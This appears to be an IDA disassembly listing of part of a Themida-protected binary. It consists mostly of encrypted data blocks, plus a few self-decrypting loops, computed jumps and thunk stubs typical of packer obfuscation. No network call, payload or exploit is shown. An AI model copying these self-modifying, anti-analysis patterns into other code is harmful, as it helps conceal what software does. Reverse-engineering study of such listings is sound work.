		dd 5C4A2BFCh, 80F0509Ch, 64CD8FAFh, 0ADA29404h,	9307D1F8h
		dd 3EAE0F16h, 83D9B182h, 8B697FC0h, 112DFE10h, 6332A220h
		dd 1FFE6ECCh, 0B1BDAD7Ah, 4373CFE5h, 0C0000011h, 0F03FD646h
		dd 0DF542191h, 1807EE5Eh, 0D64D2898h, 9A11E454h, 0AC1C9E11h
		dd 65D55AC9h, 0B121A390h, 7CEC4FE4h, 0A5202E99h, 169DFB7Ch
		dd 24BE7EFFh, 2B8856C6h, 635C5ACAh, 7562EC87h, 9FB54D16h
		dd 7AFD3673h, 57330C0Ah, 0CE959DAh, 0DB0BAB20h,	0F5F04003h
		dd 0BC8D169Bh, 0C33391A2h, 2610FAD3h, 93F17E9Fh, 1D900716h
		dd 0EE5EDCD5h, 0B1F3DFA8h, 511670F2h, 48B8357Eh, 1A99714Eh
		dd 9DBDCD8Fh, 0B815h, 0C724F100h, 0F0525F57h, 6BC89680h
		dd 0AFA09606h, 0F793E0BBh, 6BC81086h, 0A09D9909h, 7AEA49CAh
		dd 94407364h, 87F51067h, 189B88E3h, 3CFC6EA8h, 8001320Ch
		dd 0FAE47A10h, 0B2D438DDh, 861BCE13h, 0BB9CAD10h, 0E08ACF1Bh
		dd 9CD51DC5h, 26CFE016h, 6EDB3324h, 0C3FDE282h,	9DCD7127h
		dd 665602C1h, 1627108Bh, 1787EB48h, 1A8AEA47h, 0AC0E2570h
		dd 1D32A220h, 0BDA6D180h, 20A492B1h, 103Eh, 1CF969C5h
		dd 6332A207h, 740171CCh, 2CC939BFh, 720373F7h, 0B73B7635h
		dd 0FE81AE47h, 0BC38E78Eh, 0F97AA94Ch, 0F3DBEC89h, 9DF80950h
		dd 0C973F416h, 0BF56C624h, 0D2A31370h, 57C72466h, 81F1525Fh
		dd 4EBE3FF4h, 68D85B48h, 0C42D248Dh, 4BFAC4F4h,	169BFBC7h
		dd 0BA0995A6h, 0E042A92h, 0D343C0F1h, 8DBD8137h, 297212B1h
		dd 0BBA1EB03h, 32AEC108h, 2A9A1F13h, 9CAD13ECh,	5FDDCAEEh
		dd 0F9D6A7EFh, 5B8B2BBDh, 0A7EA5983h, 461332AEh, 4BF9575h
		dd 152B3805h, 3A774758h, 544D49B9h, 9E4C63D3h, 0B0189B98h
		dd 0C5040859h, 26CFE0FFh, 8FEE7AF9h, 0B86D301Fh, 0AFB41E85h
		dd 0F803DC5h, 3830000h,	0CC2D0293h, 0B6AB95Ch, 0C325FA9Bh
		dd 0D6DC253h, 0E8A3F89Dh, 30C535B5h, 690C7C03h,	2BCA3ABAh
		dd 6E0777F4h, 87CA7965h, 66169DF9h, 0C72497A5h,	25D95F57h
		dd 0BEF3E9F5h, 8520CA3Ah, 169C0A4Dh, 0CC15B0AEh, 0AF1693EAh
		dd 0ACCEC9Eh, 93EA163Bh, 0CFC4D516h, 0C7B8FE6Eh, 5DDDD6E8h
		dd 36D4A9EDh, 7FAF4F57h, 0B3347D5Fh, 397A5343h,	3A248B8h
		dd 1089386Fh, 0B98C528Ch, 1CACB590h, 0B6DB4A5Bh, 0D31CACB5h
		dd 0ACB52970h, 5DC3D41Ch, 29FA9E4Ch, 31A11C15h,	0B4620805h
		dd 0F666C9EAh, 801BCFC0h, 1CACB55Dh, 981F142Ah,	7911EE28h
		dd 2FBA8F3Eh, 0B5A3D261h, 6Fh, 0DE624FD1h, 0FFF496Eh, 0FABD630Eh
		dd 0A6D6AA10h, 0CB022D98h, 72BF169Ch, 8EFE820Eh, 0F29875A1h
		dd 21EF05CEh, 658F5CCEh, 0B83F744Ah, 99714E48h,	9E0E6EC3h
		dd 0DF5E53F7h, 0C948EA77h, 90BF3724h, 0E2C1A9A6h, 16934CBDh
		dd 40C04CAFh, 3416FFD0h, 4C769B2Ah, 24F51693h, 0D3AA3413h
		dd 0ED9DD206h, 6650C03Ch, 0E5DDEh, 56D7DC00h, 4F1004E6h
		dd 0EE8ACF86h, 9C3C7E2h, 0F58FA829h, 0B4DE8CC1h, 3B0AD404h
		dd 16A115ECh, 2F845A6Bh, 6AB95CCCh, 0B9D9909h, 0A0233B6Bh
		dd 10BA0A6Eh, 0B300DEEFh, 0DEE050h, 0B0081C45h,	1FFA761Ch
		dd 0EBADF4DBh, 0E7866435h, 0EB5ABB38h, 1CB040A6h, 5B5B7445h
		dd 0E5F929CDh, 868CDEF7h, 0B6632F1Dh, 83A5E9D4h, 5B481AAAh
		dd 5D3264D4h, 0BCE4AB72h, 7D77AB9Fh, 0DE1F5h, 34A42200h
		dd 0FF6FD261h, 3CAC0916h, 0F666CA59h, 42B2101Fh, 0FCB7F4B3h
		dd 0B8670E7Eh, 12EC737h, 0AD821383h, 8C37DE4Eh,	0FEDE03C2h
		dd 0DC9D169Dh, 0F297B660h, 0B0501086h, 93A0BE80h, 8E77BF2Fh
		dd 0F8AF511Eh, 7A103F49h, 0A18A194Bh, 94CFD816h, 5D3E3337h
		dd 8FA4BA95h, 75D9BC2Ch, 19DD9460h, 0B654EFD1h,	9086F675h
		dd 1826562Ah, 1A8AED46h, 5C47231Ch, 1087D724h, 340598A9h
		dd 2BB1BA5Ah, 0D5CA909h, 47A70000h, 90F13ED7h, 5FDE5520h
		dd 971906EFh, 61E14E27h, 48724F1h, 0DCB92989h, 0A570E047h
		dd 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h, 2169DFFh, 0C724BB81h
		dd 0F1525F57h, 0B4A69581h, 1371FD7Fh, 0BD8A8CA3h, 95CBB758h
		dd 67032C67h, 61CC7D30h, 0E797A8B0h, 876h, 0EA0BABC3h
		dd 86F2365Bh, 0CBE4B510h, 0F90950F3h, 23F416A1h, 2191161Bh
		dd 759C27F5h, 0F8169DF5h, 0DC620827h, 11E454D7h, 37B6084Dh
		dd 85426E57h, 5FC724E5h, 0A294EF15h, 7DF83B12h,	91F4220Dh
		dd 169DE84Ch, 19255529h, 42289818h, 3CF5E2FCh, 90C79F10h
		dd 62D2555Eh, 14AF5B34h, 1087A7DCh, 86F674A1h, 88FDD4A9h
		dd 5066B1BAh, 0C95F4h, 0A0106E00h, 6BDB5ED5h, 0A818958Ah
		dd 62D256CDh, 0AE1E9C93h, 0E8DBD0C7h, 0A47B1A8Ah, 0ED42D343h
		dd 0A9761F8Fh, 883BDA4Ah, 0FCDAFFC6h, 0E0A1169Dh, 57C7245Ch
		dd 81F1525Fh, 0A00FA695h, 0A81E44A9h, 7C0CC97h,	0B6E00000h
		dd 1086F297h, 0BE80B050h, 0F2FC25A0h, 0AE7F1086h, 0C6CB7ABCh
		dd 0A516A1F9h, 9F94CA94h, 4FBCAE1Eh, 8A997CECh,	0EB7DB929h
		dd 80431B4Bh, 10870D48h, 1C8CE815h, 0ED5E8342h,	0C1D1CB6h
		dd 31015A23h, 0D0E6B1BBh, 0C0574h, 1080FE00h, 0DB4BAE85h
		dd 1888E53Ah, 0D242A67Dh, 1E8EEC43h, 386B2077h,	74AB4ABAh
		dd 3DF283F3h, 79A64FBFh, 0D8EB8AFAh, 0FC0A4FF6h, 70F1169Dh
		dd 57C724CCh, 81F1525Fh, 0A00FA695h, 0A81E44A9h, 730CC97h
		dd 0ABE00000h, 4003DB0Bh, 16A1F9A4h, 0E656DAD7h, 8B2BDFB0h
		dd 2C8FA4BAh, 0E94AD9BCh, 97B63D79h, 50169DF5h,	7BE80B0h
		dd 10870DD3h, 81F4899Ah, 5AB1BB31h, 0B88D85Ch, 0FB7B0000h
		dd 0B435EA8Bh, 382B144h, 0CB2D0293h, 565BA5Bh, 0E0AB0095h
		dd 38DD4DADh, 811484EBh, 13E252B2h, 462F9F1Ch, 0AFF2517Dh
		dd 4E169DFDh, 864F6FCDh, 5EE54FC4h, 74B5554Dh, 0A28F87F7h
		dd 7685B121h, 1122D0FFh, 7A5343B3h, 78982590h, 0A32097A8h
		dd 0FC000006h, 86F292B6h, 71A15510h, 79E9446Dh,	8FF8CB91h
		dd 0CE16A1F9h, 0FA10390Ch, 0CADB169Dh, 5BD8D9E5h, 96150AEBh
		dd 0A11CA80Ah, 27181E31h, 36283608h, 9DFA4A8Fh,	0C5603116h
		dd 169DFA9Ch, 0E2454E5Fh, 0C9E9872h, 7EA5446Ch,	6CEFD908h
		dd 0B6367B43h, 3392A446h, 1080E87Fh, 0D7502DFEh, 8B1BB2Eh
		dd 0ACC86EEh, 0B7370000h, 81AE47h, 0CF2E0590h, 769B65Fh
		dd 0D131FE97h, 94179461h, 4C299919h, 15E050D7h,	472E9E1Eh
		dd 0AEB5BD8h, 0EB2E95B9h, 92169DE2h, 0C7246BD1h, 587D5F57h
		dd 1CEA0CC3h, 44C5A5ABh, 4A6777E7h, 4F4076E6h, 0DFD6719Bh
		dd 0E454D7F0h, 0AC19A411h, 549F97A8h, 7B000001h, 5F57C724h
		dd 0F481F152h
		dd 42A6F2C6h, 62E1FDD2h, 169BFB2Eh, 0AC33084Dh,	833F62E1h
		dd 0EDBE1693h, 0CE7B37CAh, 6BAB7C1Ch, 9376C508h, 0D807B216h
		dd 0BDA20C71h, 3A949Dh,	0ABA80000h, 4003DB0Bh, 169BF5F0h
		dd 947ABC8Dh, 2B8C189Fh, 0ADA294BBh, 0F1BFDEBDh, 0D1481693h
		dd 1CFE6BDEh, 0CE869DBDh, 0C4000000h, 0E0DF3993h, 340316E2h
		dd 8E1A6FBBh, 0BF73174Ah, 5F57C724h, 9680F052h,	68AE1E9Dh
		dd 0B7D7B1A6h, 75B33876h, 0BFAB84F4h, 0F481F152h, 872092D1h
		dd 0EF5FDC10h, 0B0E0A006h, 0F0F917AEh, 0B780169Eh, 1715E0B6h
		dd 0BD81AE99h, 0D6FD249Fh, 0B780169Eh, 70DBB17Ch, 0AA406F3Bh
		dd 3194CA94h, 169EB0E8h, 9BC8293h, 169EB0C0h, 43F09AABh
		dd 79A64FBFh, 75F489F9h, 6EB7D30Eh, 990EC48h, 13730000h
		dd 0DC5DD2A3h, 1B9A896Ch, 0D355CAABh, 1D9D9263h, 0D8D3C8ADh
		dd 801585E5h, 39DC4CB3h, 7B1A8AEAh, 3ED747A4h, 0D7FAC995h
		dd 96169DE3h, 0C62467D5h, 29B7B85Eh, 0D76EEAC4h, 1086E6B2h
		dd 68476839h, 0F70C18Dh, 0C4A6979Fh, 0A174E447h, 0CF864F9Bh
		dd 3882EE42h, 0A0C7CFFh, 0C3701A35h, 0CDE6D040h, 0ED5DE26Eh
		dd 0FAD545A6h, 490951Bh, 0AB710000h, 365BEA0Bh,	0B51086F2h
		dd 50F3CBE4h, 169BFC2Ch, 6FD6C0D1h, 1693F82Eh, 6551C140h
		dd 3A7CEC4Ch, 3E0CF36h,	8CBDF0A7h, 9DBD2421h, 1C3A7h, 9CB68300h
		dd 571086F2h, 66D65BA7h, 6E705F30h, 0A1F9EAD7h,	9EA07116h
		dd 98A61695h, 0C2A8189Bh, 8FFF7CB3h, 2D5D2187h,	0F2FEB211h
		dd 0AE7F1080h, 0BB464ECFh, 179B99B1h, 8B2h, 0F085F551h
		dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h
		dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9DE0B5DCh
		dd 85B73816h, 5F57C724h, 9581F152h, 0DE14BBF2h,	0F21C4500h
		dd 0F3521086h, 6BA9383h, 57D45535h, 8EFED7E7h, 25FC1F92h
		dd 62EC8763h, 9383F351h, 58E5D0BAh, 0E097A835h,	120h, 57C724BCh
		dd 58C82A87h, 0C6F84B2h, 0DB1F99Ch, 1DB01DDh, 86F21F42h
		dd 0EACDDE10h, 76600049h, 207B6FC8h, 169B2EE8h,	1372A475h
		dd 16932CCAh, 9BB4A1B3h, 31073A8Ah, 1AC5EC9Eh, 0BD59CA2Fh
		dd 2C529Dh, 0AB660000h,	4003DB0Bh, 169BF5F0h, 37A7062Bh
		dd 3C5C0EFFh, 85C82B6Bh, 721693F1h, 0CC3118C7h,	549DBD1Ch
		dd 0A6h, 5BCB298Ah, 0C7248BAFh,	347D5F57h, 6AA743B3h, 859E9808h
		dd 0A9199A26h, 20A39086h, 8EA91994h, 0CB8004E1h, 30C5EAC2h
		dd 879F4695h, 0DB4BA810h, 0A223103Ah, 9E625832h, 258E506Eh
		dd 6D6254C4h, 0B7F01E7Dh, 0A27169Fh, 0FD39A9h, 0EB49366Ah
		dd 0C4263B7Bh, 426D6254h, 0E260516Dh, 2E8CA372h, 7B48DFBEh
		dd 0A193B7D2h, 77121h, 0C4349200h, 0F7F0231h, 0CC3CB966h
		dd 676FA29h, 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h
		dd 5DD2A313h, 3C876EDEh, 0E16EB312h, 8C0D169Dh,	56C624B0h
		dd 0A31370BFh, 0C72466D2h, 0F1525F57h, 9BD0F481h, 0EC000002h
		dd 6DDD624Fh, 0FCB65429h, 93320C3Ch, 16A1F9B0h,	9DC47F5Dh
		dd 0FE169DFAh, 9DFA0247h, 68D8E916h, 3203B357h,	0FA5C8104h
		dd 6E29169Dh, 229F0A3Fh, 0F23F9DC3h, 82411D8Dh,	169DF65Fh
		dd 0BD5D0D1Eh, 226h, 3F62E1FBh,	0BE169DF6h, 4F15FDEDh
		dd 558C488Dh, 5BCDD821h, 8609A7EAh, 0CB3BB910h,	7D4EF2CBh
		dd 9E42E8Dh, 0EF8F1086h, 0B249FBFh, 0A16A102h, 0AF0C2539h
		dd 6AC9563Fh, 0E1D2BCFAh, 0A01AF060h, 85AEB0E0h, 8D82B424h
		dd 0F1CF12B1h, 9DAE169Ah, 607567EDh, 0DA0DF2E0h, 1A8961D2h
		dd 10870566h, 2A47D6E7h, 35B1B95Ch, 678C33Fh, 2B8B0000h
		dd 0E445DABBh, 3392A174h, 7BFD32C3h, 35B56A0Bh,	307B30C5h
		dd 0E88DFD7Dh, 0B144B43Bh, 3920282h, 0B65FCF2Ch, 5F82410Dh
		dd 1E169DE6h, 0C724DF5Dh, 0EE558757h, 1086F2ABh, 53C32552h
		dd 79456A63h, 86F287CAh, 0B5556610h, 99096A77h,	0B828849Dh
		dd 9606657Eh, 4B7227A0h, 15C8F198h, 0B669F8DDh,	0A8A30D44h
		dd 82F251C2h, 683BBEF3h, 43C197A8h, 0D5000001h,	5F57C724h
		dd 0F481F152h, 79E9496Ah, 27572791h, 0FB74AC17h, 28F9169Bh
		dd 0FB4687EEh, 882F1693h, 2789F455h, 420F9DBDh,	4D000000h
		dd 731787E4h, 0DB0BABBFh, 0F5F04003h, 62B169Bh,	1E0036A6h
		dd 93F162A7h, 17380916h, 0D7564373h, 715E2F67h,	647E5745h
		dd 86EA4598h, 0D3FAA941h, 9C169362h, 0FA7FCAF5h, 829DBDA9h
		dd 0B5h, 0E0624F96h, 1A999A70h,	0F3776CAAh, 1D9E9383h
		dd 0F2C009BCh, 41421086h, 0BB4DE8ECh, 0F8D7E858h, 0DE46A5BEh
		dd 0A4D9CFC8h, 2F9F230Ah, 163916E7h, 0DB65427Fh, 4671087h
		dd 0B98DCA94h, 797A4CD4h, 0C108BB83h, 0AC1087B4h, 16A4EF9Bh
		dd 992C3262h, 169FDC7Bh, 42D3102h, 5B7E45A6h, 22169E1Ch
		dd 0C8573E11h, 23FA6Ah,	63B7D262h, 524F151h, 5FDF0000h
		dd 981906EFh, 57D64D28h, 9F210EE7h, 59D9462Fh, 1C8F0CE9h
		dd 0E4B121A1h, 9D78E84Fh, 0DFB62686h, 0F283F350h, 346FDE1h
		dd 0EA169DE7h, 0C6241329h, 644BBB3Ah, 0B921A291h, 8CD1E55Ah
		dd 6D082725h, 0CA864FBFh, 3ABFEBEDh, 44A76406h,	72D1E2D4h
		dd 0A3223C02h, 1086B57Eh, 2F3E2CFDh, 3191h, 624FA500h
		dd 999A70E0h, 9F94AA1Ah, 936CAA1Ah, 0C7243DF7h,	68CF5F57h
		dd 81F15275h, 2BD0F4h, 0D00E0000h, 86F22C75h, 0B5FECF10h
		dd 0FCD1C535h, 0C724260Eh, 0C82A8757h, 66D65B58h, 81AB5F30h
		dd 86F2DA02h, 5C832E10h, 0FD98086Bh, 57C7242Fh,	0F525D95Fh
		dd 0F969C8E9h, 44114B11h, 0DA246B81h, 0CB75382h, 16A1493Fh
		dd 0EF28753Eh, 6C54D58Bh, 0AC451D4Bh, 0ECC3827Ah, 0F262E1D2h
		dd 0F161C7ECh, 7D07A19h, 950E11AFh, 0BA0B2CDAh,	0CFFD51D0h
		dd 42C17218h, 0A256E4D2h, 0A7D96C72h, 2610BA00h, 8BE84915h
		dd 46A57A1Bh, 0A65AE0D6h, 0B1DD6876h, 341AAB03h, 3F719A63h
		dd 0F6AB9Fh, 40184h, 14840200h,	0DF4FB281h, 1C8CE936h
		dd 0D646AA79h, 2292F03Fh, 5C575453h, 98876EDEh,	61CEA717h
		dd 8DA273E3h, 0ECD7BE2Eh, 0E43E63E2h, 3CBD169Dh, 57C72400h
		dd 0A21271BEh, 8CFC7F74h, 716BEF8Ah, 86F28FD2h,	0AD5D6E10h
		dd 8FECDB02h, 0F272972Eh, 0CF91086h, 4F93DADh, 4471042Bh
		dd 97A819B9h, 493Fh, 0B4347D00h, 7857C728h, 624FAA92h
		dd 137D6DDDh, 22921763h, 2A341BF4h, 5238A809h, 41F6390Ch
		dd 0A475169Ch, 0AB1B999Ah, 0BDA0E7CAh, 0F0E51693h, 0E8E106FCh
		dd 0B25F0B1Bh, 1F14E151h, 89E92D9Dh, 35Ah, 9D0D72BFh, 0C72445EDh
		dd 0F1525F57h, 0F2C6F481h, 1149FCC2h, 0DC169BFBh, 3ABEF3CBh
		dd 0A465EDCAh, 27C69E48h, 236AC943h, 0CC169304h, 6ACF7A65h
		dd 0F29DBE14h, 20h, 0DB0BABC6h,	0F5F04003h, 0BC8D169Bh
		dd 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h, 0E3839DBDh, 97000000h
		dd 0BA3BC724h, 585ECE2Eh, 714E4867h, 3D76585Eh,	0E3464DBDh
		dd 0A04A4373h, 979F0F73h, 0CB36A0B5h, 0DBEC44B7h, 1181022Fh
		dd 3FAF0C25h, 261C5B56h, 0AD0E1086h, 0BDF6583Dh, 0EF1CCE3Eh
		dd 901A1C8Ch, 0D646A4F0h, 0FEC0EFE0h, 9B21E747h, 1C48616h
		dd 169325D8h, 0D8BD92A3h, 5DBE3D76h, 9325A3E6h,	56794A16h
		dd 806ADA5Dh, 2836661Ah, 8B4A759Dh, 1D9D9610h, 0CA9469ADh
		dd 0AB70D6FBh, 0E684951Ch, 0FFDDE1B2h, 5A65BBD6h, 0E2880E19h
		dd 9461D131h, 0E83194CAh, 931CABFDh
		dd 0C72BE882h, 4187C657h, 0E2D4B1BEh, 25962h, 0DC4CAA00h
		dd 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h, 0A41F8C0Bh
		dd 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h, 0EA96BB8Ah
		dd 9455169Dh, 56C624A8h, 0A31370BFh, 0BAB66D2h,	0F04003DBh
		dd 8D169BF5h, 0D2FB7ABCh, 9B1693F1h, 829C9F4h, 3FC3AAAh
		dd 0F141883Bh, 1B2C1693h, 1CB9446Fh, 903F9DBDh,	5B000000h
		dd 475FC724h, 0F7746691h, 5F54426Dh, 0C82B6BDBh, 108639ABh
		dd 0E8F666C5h, 13F767CBh, 0D848AB78h, 7CAC4CDEh, 80C97C62h
		dd 6B108621h, 17AEB05Ah, 169B2717h, 4A700516h, 0CD784676h
		dd 108B4F6Ah, 0D263809h, 0CB583DADh, 0E126F767h, 7EB1BDD1h
		dd 19CFC78h, 7670000h, 0D031FE97h, 1F9E9560h, 0D759C6AFh
		dd 21A18E67h, 0C4C7E4B1h, 1CF969C9h, 6530A007h,	17FE6ECEh
		dd 5A3BAB08h, 0BBDE6569h, 42169DEBh, 0C6247BC1h, 1370BF56h
		dd 2466D2A3h, 525F57C7h, 950565F1h, 3392ACA1h, 1086F2EEh
		dd 0CB93BC8Dh, 0F2EF3291h, 0BD8E1086h, 979CBECDh, 4AC7A313h
		dd 0AB3D79E9h, 4003DB0Bh, 169C0AECh, 8F76A071h,	1A3BB726h
		dd 0F8063267h, 58D9B11Ch, 0C08A6BDBh, 0DC05C09Eh, 9F1693D3h
		dd 0D3F2178Eh, 0A8791693h, 0F828D8C2h, 39BBF8E6h, 0D3246DD8h
		dd 0F6C71693h, 0B3E0DDD9h, 902BDF4Fh, 1089298Ch, 0FDF620F1h
		dd 1B080E7Eh, 0F5EE2898h, 0A0100676h, 733DA619h, 0E98DC1ECh
		dd 0CAD4FDC8h, 86971CACh, 2E2E95A9h, 4F1AB630h,	2B88977Eh
		dd 6667BBBh, 0F4A5A096h, 0F17DFEC9h, 680D2292h,	704E7E42h
		dd 0A34579D5h, 132BFC04h, 0B2C9C1Eh, 0CAE80741h, 52FDBF8h
		dd 171F8FECh, 0C426D1Ch, 0A3223C6Ch, 0EC8CF8Bh,	0AC1C9D8Ah
		dd 4B68F283h, 334076E6h, 9A705FCFh, 2E306020h, 0C8245997h
		dd 52B3E008h, 3C9CDE2h,	16276AD9h, 0F5C63402h, 27971415h
		dd 0F262E14Eh, 3A0141C4h, 65CC5DC3h, 7EEE4D7Ah,	57A57760h
		dd 0A7EF5FE0h, 39E201D6h, 0FF75ECC9h, 6D42B25Bh, 0C241EE7Dh
		dd 9BFE261h, 6D3E9DC3h,	165B7C42h, 0E2CE9578h, 9A878565h
		dd 9570A616h, 0AD0EB924h, 68CB583Dh, 1336BEF8h,	52000000h
		dd 93686D2Fh, 81993AF0h, 0C9122C10h, 4A6273EEh,	0CA247CA0h
		dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
		dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 2B71h
		dd 89241C89h, 4C381E3h,	83000000h, 1C8704EBh, 89535C24h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 241C895Ch, 5E08950h
		dd 4, 8704E883h, 895C2404h, 0B951240Ch,	30A35AAEh, 787AC181h
		dd 0E9D16A8Ah, 1E981h, 81490000h, 0E349C6E1h, 0EE98155h
		dd 893F6741h, 8B5459CBh, 0C483240Ch, 8B85004h, 1000000h
		dd 8B1889C8h, 0C4812404h, 4, 53240C8Bh,	0C381E389h, 4
		dd 8704C383h, 0FF5C241Ch, 815B2434h, 4C4h, 62B0E900h, 52F5FFFAh
		dd 84E733E6h, 0B1AB373Ch
		db 0EFh, 0E1h, 0B6h
; ---------------------------------------------------------------------------


loc_5DB5DF:				; CODE XREF: Themida_:005DA1F4j
		mov	eax, 61B1B04h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 14A509ADh, 2D93A484h, 5E510742h, 8981AA5h, 2B8EC4CCh
		dd 59F4736Eh, 79C85794h, 73A12653h, 8314C1Eh, 2D75C310h
		dd 1C7F8D8Dh, 0C38B061Bh, 27218D89h, 9D890615h,	6151291h
		dd 4CD85C7h, 61840615h,	8E90000h, 6E000000h, 93E90141h
		dd 0C773CD3Ah, 15111585h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 18EC8004h
		dd 6C98D89h, 9D030615h,	61523EDh, 2D19B5FFh, 9D8B0615h
		dd 6152349h, 2C995FFh, 6A0615h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0B5B91CC3h, 0BF661377h
		dd 6AF57929h, 2195FF00h
		db 2Eh,	15h
; ---------------------------------------------------------------------------


loc_5DB6AE:				; DATA XREF: Themida_:0057A0F8o
		push	es
		mov	eax, eax
		jmp	short loc_5DB702
; ---------------------------------------------------------------------------
		db 20h
		dd 30E42EC4h, 33531708h, 0D74365A2h, 13ECE49Ah,	1BDD7C19h
		dd 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h,	293FA587h
		dd 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h, 0E5A30067h
		dd 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h
; ---------------------------------------------------------------------------
		push	ds
		dec	eax


loc_5DB702:				; CODE XREF: Themida_:005DB6B1j
		call	sub_5DB712
; ---------------------------------------------------------------------------
		db 8
		dd 0BCFE3CFDh, 705EDA20h
		db 0CDh, 0C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5DB712	proc near		; CODE XREF: Themida_:loc_5DB702p
		pop	edx
		sub	edi, 7E4E9777h
		add	edx, 7287h
		movsx	ebx, di
		sub	eax, eax
		mov	edi, 663C7276h


loc_5DB729:				; CODE XREF: sub_5DB712+5Ej
		mov	ecx, [edx+eax]
		sbb	bx, 0D132h
		add	ecx, 5F1E4728h
		jp	loc_5DB741
		mov	bx, 9874h


loc_5DB741:				; CODE XREF: sub_5DB712+25j
		sub	ecx, 3353E455h
		and	bl, 94h
		xor	ecx, 17C1637Bh
		sub	di, 83BDh
		mov	[edx+eax], ecx
		mov	[ebp+6150B85h],	ecx
		and	bl, 28h
		sub	eax, 4
		mov	[ebp+6152335h],	ebx
		cmp	eax, 0FFFF8DECh
		jnz	loc_5DB729
		push	esi
		mov	[ebp+6153095h],	eax
		pop	ebx
		call	sub_5DB795
		lea	esi, [ebx+12B2BF0Ah]
		lds	ebp, [eax+79h]
		push	ecx
		push	eax
		jmp	far ptr	0A499h:7960E088h
sub_5DB712	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DB795	proc near		; CODE XREF: sub_5DB712+6Cp
		movzx	ecx, di
		pop	edi
		add	edi, 69EFh
		adc	ebx, 39A5047Eh


loc_5DB7A5:				; CODE XREF: sub_5DB795+25j
		push	0
		jmp	loc_5DB7BC
; ---------------------------------------------------------------------------
		sbb	al, 7
		fsubr	qword ptr [esi-132F83Dh]
		retn
; ---------------------------------------------------------------------------
		push	edi
		dec	esp
		jbe	short loc_5DB7A5


loc_5DB7BC:				; CODE XREF: sub_5DB795+15j
		pop	esi
		jmp	loc_5DB7C8
; ---------------------------------------------------------------------------
		dw 7856h
		dd 7E4054B6h
; ---------------------------------------------------------------------------


loc_5DB7C8:				; CODE XREF: sub_5DB795+28j
					; sub_5DB795+6Dj
		mov	eax, [edi+esi]
		movzx	ebx, cx
		sub	eax, 70D0615h
		mov	edx, [ebp+6152A45h]
		add	eax, 3B21F0A8h
		cmc
		add	eax, 7F637140h
		movzx	edx, ax
		push	eax
		add	[ebp+61528C1h],	edx
		pop	dword ptr [edi+esi]
		mov	bx, cx
		sub	esi, 4
		mov	ecx, esi
		cmp	esi, 0FFFF9698h
		jnz	loc_5DB7C8
		mov	edx, [ebp+615233Dh]
		lea	ecx, [ebp+61B1EC7h]
		movzx	esi, cx
		mov	[ebp+6152721h],	ecx
		push	0
		push	edi
		call	sub_5DB828
		and	[edi-3Dh], bl
sub_5DB795	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DB828	proc near		; CODE XREF: sub_5DB795+8Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5DB828	endp

; ---------------------------------------------------------------------------
		dd 4BD77AFCh, 6DB7177Ch, 8B663809h, 0CD85C7D0h,	84061504h
		dd 6A000071h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F48C353h, 0BD8BD8B7h,	6152D29h
		dd 111585C7h, 615h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0D15C4AC3h, 97BAF70Fh
		dd 0B5FFC8E2h, 6150009h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0D8C35343h, 0FFFE8B66h, 1502C995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 1EBE4B53h, 6A4D5087h, 2195FF00h, 8B06152Eh, 0C34DEBC0h
		dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh,	8FDCF62Bh
		dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h,	0F5B4E4A2h
		dd 3A01806Ch, 401FDA83h, 56182393h, 0AC80E1D1h,	0DAA5C844h
		dd 3CFA52A1h, 8C1E172Dh, 1F41A496h, 73B59DA1h, 97E9h, 0AA57D400h
		dd 0F5CC4719h, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch
		dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
		dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
		dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
		dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh
		dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh
		dd 0E09h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DCA03
; ---------------------------------------------------------------------------
		push	61B2172h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B225Eh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2359h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B24F7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B2589h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B262Ah
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B26C2h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B276Dh
